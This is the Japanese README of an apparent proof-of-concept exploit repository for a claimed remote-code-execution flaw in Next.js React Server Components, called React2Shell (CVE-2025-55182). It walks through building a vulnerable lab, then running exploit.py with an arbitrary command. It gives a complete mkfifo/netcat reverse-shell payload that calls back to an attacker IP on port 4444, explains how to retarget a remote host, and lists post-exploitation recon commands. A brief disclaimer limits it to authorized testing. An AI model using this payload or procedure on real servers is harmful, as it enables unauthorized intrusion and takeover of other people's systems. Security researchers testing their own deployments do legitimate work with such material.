
Next.js アプリケーションにおける React サーバーコンポーネントのレンダリングパイプラインでのプロトタイプ汚染を介したリモートコード実行の脆弱性を実証する Proof-of-Concept エクスプロイトです。
このツールは教育および正規のテスト目的のみに使用されます。所有していない、またはテスト許可を得ていないシステムに対して不正に使用することは違法です。
git clone https://github.com/securifyai/React2Shell-CVE-2025-55182.git
cd React2Shell-CVE-2025-55182
# 脆弱なバージョンで新しい Next.js アプリを作成する
npm create [email protected] react2shell-lab
# プロンプトが表示されたらすべてデフォルトで進める
cd react2shell-lab
注: 事前設定済みのラボには必要な脆弱なコードがすでに含まれています。スクラッチから作成する場合は、手動で脆弱なコンポーネントを追加する必要があります。
cd react2shell-lab
npm install
ターミナル 1 で:
npm run dev
サーバーが http://localhost:3000 で起動します。
リポジトリには脆弱性を示す exploit.py ファイルが含まれています。ファイル内の COMMAND 変数をお好みのコマンドに編集してください:
COMMAND = 'whoami' # 実行したい任意のコマンドに変更してください
エクスプロイトを実行します:
python3 exploit.py
新しいターミナルで netcat リスナーをセットアップします:
nc -nvlp 4444
exploit.py を編集し、コマンドをリバースシェルペイロードに更新します:
COMMAND = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc YOUR_IP 4444 >/tmp/f'
YOUR_IP をあなたのローカルマシンの IP アドレスに置き換えてください。
エクスプロイトを実行します:
python3 exploit.py
エクスプロイトスクリプトの HOST 変数を編集してリモートサーバーをターゲットにします:
HOST = 'target-ip-address' # ターゲットの IP に置き換え
PORT = 3000 # デフォルトの Next.js ポート
ls -launame -awhoamiifconfig または ip aこのプロジェクトは MIT ライセンスの下でライセンスされています。詳細は LICENSE ファイルを参照してください。
このバージョンでは、リモートターゲットと攻撃者の IP およびポートの入力を求めます。また、POST ボディ (body_parts) もこのバージョンでは若干削減されています。
https://www.averlon.ai/blog/react2shell-cve-2025-55182-explained